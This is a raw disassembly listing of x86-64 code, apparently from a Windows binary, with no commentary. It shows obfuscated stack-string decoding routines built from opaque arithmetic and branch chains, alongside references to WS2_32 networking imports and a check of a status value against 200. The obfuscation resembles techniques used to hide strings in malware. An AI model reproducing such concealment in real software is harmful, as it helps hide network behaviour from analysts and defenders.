add r11b, 0x55
add r11b, dl
jmp 0x14016cafe
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016c8dd
lea ecx, [rbx + 0x5b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
mov rcx, r15
sub r11b, 0x7d
movzx eax, r11b
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016c0f2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14016c904
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 0x61]
and al, dl
add al, al
sub r11b, al
add r11b, 0x59
jmp 0x14016ca30
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14016c59c
lea ecx, [rbx + 0x6d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx - 0x24]
add rax, r9
add rbx, rax
lea r11d, [rcx + r10]
add r11b, 5
inc rbx
jmp 0x14016c0f2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14016c970
lea edx, [rbx - 4]
movzx eax, r10b
and al, dl
mov ecx, ntohs
sub cl, al
movzx eax, byte [rbp + rbx - 0x24]
add rax, r9
add rbx, rax
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rbx
jmp 0x14016c0f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016c997
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 8]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x38
jmp 0x14016ca30
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14016c9cb
lea ecx, [rbx + 0xe]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
mov rcx, r15
sub r11b, 0x62
movzx eax, r11b
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016c0f2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14016c55a
lea edx, [rbx + 0x14]
mov ecx, 0x3a
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14016cb7f
movzx ecx, byte [rbp + rbx - 0x24]
movzx edi, bl
movzx eax, r10b
lea edx, [rdi + 0x38]
and al, dl
sub cl, al
add cl, 0x3c
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x14016cb60
mov ecx, 0x27
movzx edi, bl
movzx eax, r10b
lea edx, [rdi + 0x3e]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
sub dil, 0x3f
movzx eax, r10b
and al, dil
inc r9
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x47
add cl, dil
movzx eax, cl
mov byte [rbp + rbx - 0x24], al
add rax, r9
sub rbx, rax
jmp 0x14016cbb9
lea ecx, [rbx - 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx - 0x24]
add rax, r9
add rbx, rax
lea r11d, [r10 + rcx]
add r11b, 0x4d
inc rbx
jmp 0x14016c0f2
lea ecx, [rbx - 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xb
jmp 0x14016cb7f
lea ecx, [rbx - 0x2f]
dec rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x49
inc rbx
jmp 0x14016c0f2
lea ecx, [rbx - 0x35]
inc r9
movzx eax, cl
dec rbx
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x73
inc rbx
jmp 0x14016c0f2
movzx edi, bl
lea ecx, [rdi - 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x63
movzx eax, r10b
sub dil, 0x4b
and al, dil
add al, al
sub r10b, al
add r10b, 0xd
add r10b, dil
mov byte [rbp + rbx - 0x24], r10b
inc r9
dec rbx
inc rbx
jmp 0x14016c0f2
lea ecx, [rbx - 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x45
dec rbx
inc rbx
jmp 0x14016c0f2
movzx edi, bl
lea ecx, [rdi - 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x6f
movzx eax, r10b
sub dil, 0x45
and al, dil
add al, al
sub r10b, al
sub r10b, 0x1d
add r10b, dil
add r10b, r11b
mov byte [rbp + rbx - 0x24], r10b
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016c0f2
movabs rcx, 0x2c6499cc0cc8fd8f
movzx r10d, dl
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x17
lea edx, [rbx + 0x44]
movzx eax, r10b
and al, dl
inc r8
mov ecx, reloc.WS2_32.dll_select
sub cl, al
mov rax, r15
sub rax, r8
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx - 0x24], cl
add rbx, rax
movzx eax, byte [rbp + rbx - 0x24]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14016c0f2
lea rcx, [rbx + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x41
movzx eax, byte [rbp + rbx - 0x24]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14016c0f2
add bl, 0xf
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x69
jmp 0x14016c0f0
add bl, 9
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x3f
jmp 0x14016c0e0
lea rbx, [rbp + 0x15babe0]
jmp 0x14016cc67
lea rbx, [rbp + 0x110ab63]
jmp 0x14016cc67
lea rbx, [rbp - 0x24]
lea rcx, [rbp + 0x170]
call fcn.140135f90
mov r8, r15
inc r8
cmp byte [rbx + r8], 0
jne 0x14016cc76
mov rdx, rbx
lea rcx, [rbp + 0x170]
call fcn.14013c7a0
mov r14, qword [rbp + 0x830]
mov rcx, r14
call fcn.140135430
lea rcx, [rbp + 0x150]
mov rbx, rax
call fcn.140135f90
mov r8, r15
inc r8
cmp byte [rbx + r8], 0
jne 0x14016ccb0
mov rdx, rbx
lea rcx, [rbp + 0x150]
call fcn.14013c7a0
mov rcx, qword [rbp + 0x38]
lea rax, [rbp + 0x170]
lea r9, [rbp + 0x150]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x190]
call fcn.140160620
lea rcx, [rbp + 0x150]
call fcn.1401358f0
lea rcx, [rbp + 0x170]
call fcn.1401358f0
mov rdx, qword [rbp + 0x190]
test rdx, rdx
je 0x14016cd43
cmp dword [rdx + 0x20], 0xc8
jne 0x14016cd43
add rdx, 0x58
mov rcx, r13
call fcn.140135510
lea rcx, [rbp + 0x190]
call fcn.140162650
lea rcx, [rbp + 0x38]
call fcn.14016d8f0
jmp 0x14016d808
lea rcx, [rbp + 0x190]
call fcn.140162650
lea rcx, [rbp + 0x38]
call fcn.14016d8f0
movzx r10d, byte [rbp + 0x838]
xor eax, eax
xorps xmm0, xmm0
mov dword [rbp - 0x5a], eax
movups xmmword [rbp - 0x6a], xmm0
mov word [rbp - 0x56], ax
movabs rsi, 0x10792336a47ef78b
mov dword [rbp - 0x70], 0xb2b2b399
mov word [rbp - 0x6c], 0x5db0
nop word [rax + rax]
mov rax, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
xor ebx, ebx
cmp rbx, 0x1c
jae 0x14016d7dd
movzx r11d, byte [rbp + rbx - 0x70]
mov r8, r11
cmp rax, rbx
ja 0x14016d7d4
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x14016cde3
lea rdx, [rbx + rsi]
movzx ecx, r8b
and cl, dl
movzx r10d, r8b
add cl, cl
sub r10b, cl
add r10b, 0x33
add r10b, dl
jmp 0x14016ce20
je 0x14016d762
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x14016d6db
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x14016d6ae
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x14016d68e
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x14016d64c
nop dword [rax]
cmp r9, rbx
ja 0x14016d7cb
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jae 0x14016ce4b
lea r10d, [rbx + 0x67]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 0x2f
add r10b, r11b
jmp 0x14016ce90
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x14016d632
inc rcx
cmp rax, rcx
je 0x14016d60f
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x14016d5e5
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x14016d5cb
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x14016d5a3
nop dword [rax + rax]
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x14016d21b
nop dword [rax]
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x14016d1fe
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x14016d1d4
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x14016d1b4
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x14016d196
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x14016d17c
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x14016d152
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x14016d131
lea rcx, [r9 + 0x10]
cmp rax, rcx
je 0x14016d117
lea rax, [r9 + 4]
lea r9, [rax + 6]
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x14016d7b0
lea rcx, [r9 + 0x28]
cmp rax, rcx
jb 0x14016d795
lea rcx, [r9 + 0x80]
cmp rax, rcx
jb 0x14016d00d
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jb 0x14016cff1
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jb 0x14016cfd5
lea rcx, [r9 + 3]
cmp rax, rcx
jb 0x14016cea0
lea rax, [r9 + 5]
lea r9, [rax + 8]
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x14016d0e8
lea rcx, [r9 + 0x40]
cmp rax, rcx
ja 0x14016d0c8
lea rcx, [r9 + 0x200]
cmp rax, rcx
ja 0x14016d0a7
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x14016d076
lea rcx, [r9 + 0x61]
cmp rax, rcx
ja 0x14016d04c
lea rcx, [r9 + 0x2a]
cmp rax, rcx
ja 0x14016d029
lea rcx, [r9 + 4]
cmp rax, rcx
ja 0x14016cea0
lea rax, [r9 + 6]
lea r9, [rax + 0x200]
jmp 0x14016cea0
lea r10d, [rbx + 0x79]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x4f
add r10b, r11b
jmp 0x14016ce90
lea r10d, [rbx + 0x63]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 0x4b
add r10b, r11b
jmp 0x14016ce20
lea r10d, [rbx + 0x4d]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x1b
add r10b, r11b
jmp 0x14016cdb2
lea edx, [rbx + 0x38]
movzx ecx, r11b
and cl, dl
mov r10d, 0x3c
sub r10b, cl
movzx edi, bl
add r10b, r10b
add r10b, r11b
add r10b, dl
jmp 0x14016d664
lea r8d, [rbx + 0x22]
mov edx, 9
movzx ecx, r11b
inc r9
and cl, r8b
dec rbx
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
inc rbx
jmp 0x14016cda2
lea r8d, [rbx - 0x36]
mov edx, 0x3d
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
mov rdx, r15
add r10b, r11b
add r10b, r8b
movzx ecx, r10b
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x14016cda2
lea r8d, [rbx - 0x4c]
mov edx, 0xa
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
jmp 0x14016d700
lea r8d, [rbx - 0x62]
movzx ecx, r11b
and cl, r8b
movzx r10d, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x52
add r10b, r8b
jmp 0x14016d729
lea r8d, [rbx - 0x78]
movzx ecx, r11b
and cl, r8b
mov edx, 0x24
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x70]
add rcx, r9
add rbx, rcx
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
inc rbx
jmp 0x14016cda2
lea edx, [rbx + 0x54]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x4c
jmp 0x14016d729
lea r8d, [rbx + 0x3e]
mov edx, 0x27
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x14016d700
lea edx, [rbx + 0x28]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
mov rdx, r15
sub r10b, 0x18
movzx ecx, r10b
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x14016cda2
lea edx, [rbx + 0x12]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x7e
jmp 0x14016d6c3
mov edx, ntohs
lea r8d, [rbx - 4]
movzx ecx, r8b
movzx edi, bl
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
jmp 0x14016d55a
lea edx, [rbx - 0x1a]
dec rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x4a
inc rbx
jmp 0x14016cda2
lea r8d, [rbx - 0x30]
mov edx, 0x28
movzx ecx, r8b
inc r9
and cl, r11b
dec rbx
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
inc rbx
jmp 0x14016cda2
movzx edi, bl
lea edx, [rdi - 0x46]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x16
jmp 0x14016d664
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jae 0x14016d2d0
lea edx, [rbx - 0x75]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x33
lea rcx, [r9 + rax]
cmp rcx, 0x61
je 0x14016d585
lea rcx, [r9 + 0x41]
cmp rax, rcx
jbe 0x14016d3d7
lea edx, [rbx + 0x1f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x27
cmp rax, 6
jae 0x14016d53d
lea rcx, [r9 + 9]
cmp rax, rcx
jbe 0x14016d44c
lea r8d, [rbx - 0x7a]
mov edx, 0x2b
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
cmp r9, 8
jb 0x14016d530
movzx edx, r11b
movzx edi, bl
movzx ecx, r11b
lea r8d, [rdi + 0x62]
and cl, r8b
add cl, cl
sub dl, cl
add dl, r8b
lea r10d, [rdx*2 - 0x5c]
jmp 0x14016d664
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14016d308
lea r8d, [rbx - 0x32]
mov edx, gethostbyaddr
movzx ecx, r8b
and cl, r11b
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x70]
add rcx, r9
add rbx, rcx
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
inc rbx
jmp 0x14016cda2
inc rcx
cmp rax, rcx
jne 0x14016d32a
lea edx, [rbx - 0x1c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x3c
jmp 0x14016d729
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14016d35d
lea edx, [rbx + 0x10]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
mov rdx, r15
sub r10b, 0x70
movzx ecx, r10b
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x14016cda2
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x14016d384
mov edx, 0x2e
movzx edi, bl
lea r8d, [rdi + 0x3c]
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
jmp 0x14016d55a
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x14016d3ad
lea edx, [rbx + 0x52]
dec rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x3e
inc rbx
jmp 0x14016cda2
lea rcx, [r9 + 9]
cmp rax, rcx
jne 0x14016d23d
movzx edi, bl
lea edx, [rdi + 0x7e]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x72
jmp 0x14016d664
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14016d3fd
movzx edi, bl
lea edx, [rdi + 0x35]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x73
jmp 0x14016d664
inc rcx
cmp rax, rcx
jne 0x14016d425
lea edx, [rbx + 0x61]
dec rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x59
inc rbx
jmp 0x14016cda2
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14016d26d
lea edx, [rbx - 0x73]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x25
jmp 0x14016d6c3
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14016d47d
lea edx, [rbx - 0x64]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x70]
add rcx, r9
add rbx, rcx
lea r10d, [r11 + rdx]
sub r10b, 0x44
inc rbx
jmp 0x14016cda2
inc rcx
cmp rax, rcx
jne 0x14016d49f
lea edx, [rbx - 0x38]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x78
jmp 0x14016d700
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14016d4d2
lea edx, [rbx - 0x22]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
mov rdx, r15
sub r10b, 0x12
movzx ecx, r10b
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x14016cda2
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x14016d4fc
lea r8d, [rbx - 0xc]
mov edx, 0x2a
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x14016d6c3
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x14016d2a0
lea r8d, [rbx + 0x20]
mov edx, reloc.WS2_32.dll_recv
movzx ecx, r8b
dec rbx
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
inc rbx
jmp 0x14016cda2
mov byte [rbp + rbx - 0x70], r10b
inc rbx
jmp 0x14016cda2
movzx r10d, byte [rbp + rbx - 0x70]
movzx edi, bl
lea r8d, [rdi + 0x78]
movzx ecx, r8b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x48
add r10b, r8b
add r10b, r11b
add dil, 3
movzx edx, r10b
movzx ecx, dil
and cl, r11b
add cl, cl
sub dl, cl
sub dl, 0x15
add dl, dil
add dl, r11b
mov byte [rbp + rbx - 0x70], dl
jmp 0x14016d6c3
lea r8d, [rbx - 0x72]
mov edx, reloc.WS2_32.dll_ntohs
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
jmp 0x14016d700
lea edx, [rbx + 0x2d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x70]
add rcx, r9
add rbx, rcx
lea r10d, [r11 + rdx]
sub r10b, 0x3b
inc rbx
jmp 0x14016cda2
lea edx, [rbx + 1]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 7
jmp 0x14016d700
lea edx, [rbx - 0x15]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
mov rdx, r15
sub r10b, 0x6d
movzx ecx, r10b
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x14016cda2
lea edx, [rbx - 0x6d]
inc r9
movzx ecx, dl
dec rbx
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 5
inc rbx
jmp 0x14016cda2
movzx edi, bl
lea edx, [rdi + 0x7d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x6b
jmp 0x14016d664
movzx edi, bl
lea edx, [rdi + 0x51]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x37
sub dil, 0x13
movzx ecx, dil
and cl, r11b
add cl, cl
sub dil, cl
sub dil, 0x7b
add dil, r11b
mov byte [rbp + rbx - 0x70], dil
inc r9
dec rbx
inc rbx
jmp 0x14016cda2
lea edx, [rbx + 0x25]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 3
dec rbx
inc rbx
jmp 0x14016cda2
lea edx, [rbx - 7]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x31
add rax, r9
movzx ecx, r10b
mov rdx, r15
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x14016cda2
movzx r11d, r8b
movabs rdx, 0x734ff67e7f78c4cd
add rdx, rbx
movzx r10d, r11b
and r8b, dl
add r8b, r8b
sub r10b, r8b
add r10b, 0x65
add r10b, dl
lea r8d, [rbx + 0x19]
movzx ecx, r11b
and cl, r8b
inc r9
add cl, cl
movzx edx, r11b
sub dl, cl
add dl, 0x51
add dl, r8b
movzx ecx, dl
mov byte [rbp + rbx - 0x70], cl
add rcx, r9
sub rbx, rcx
lea edx, [rbx - 0x5c]
movzx ecx, r11b
and cl, dl
inc rax
add cl, cl
sub r11b, cl
mov rcx, r15
sub rcx, rax
sub r11b, 0x7c
add r11b, dl
mov byte [rbp + rbx - 0x70], r11b
add rbx, rcx
movzx ecx, byte [rbp + rbx - 0x70]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x14016cda2
movzx ecx, r8b
movabs rdx, 0x316b69a3ed7ce6a1
add rdx, rbx
and cl, dl
add cl, cl
sub r8b, cl
lea r10d, [rdx + r8]
sub r10b, 0x67
movzx ecx, byte [rbp + rbx - 0x70]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x14016cda2
add bl, 0x37
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
add r10b, 0x7f
jmp 0x14016cda0
add bl, 0x21
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0x19
jmp 0x14016cd90
lea rbx, [rbp + 0x14e50f4]
jmp 0x14016d7e1
lea rbx, [rbp + 0x14d487f]
jmp 0x14016d7e1
lea rbx, [rbp - 0x70]
mov rcx, r13
call fcn.140135f90
nop dword [rax]
inc r15
cmp byte [rbx + r15], 0
jne 0x14016d7f0
mov r8, r15
mov rdx, rbx
mov rcx, r13
call fcn.14013c7a0
lea rcx, [rbp + 0x60]
call fcn.1401358f0
lea rcx, [rbp + 0xa0]
call fcn.1401358f0
lea rcx, [rbp + 0x80]
call fcn.1401358f0
lea rcx, [rbp + 0xc0]
call fcn.1401358f0
mov rcx, r12
call fcn.1401358f0
mov rcx, r14
call fcn.1401358f0
mov rbx, qword [rsp + 0x920]
mov rax, r13
add rsp, 0x8e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret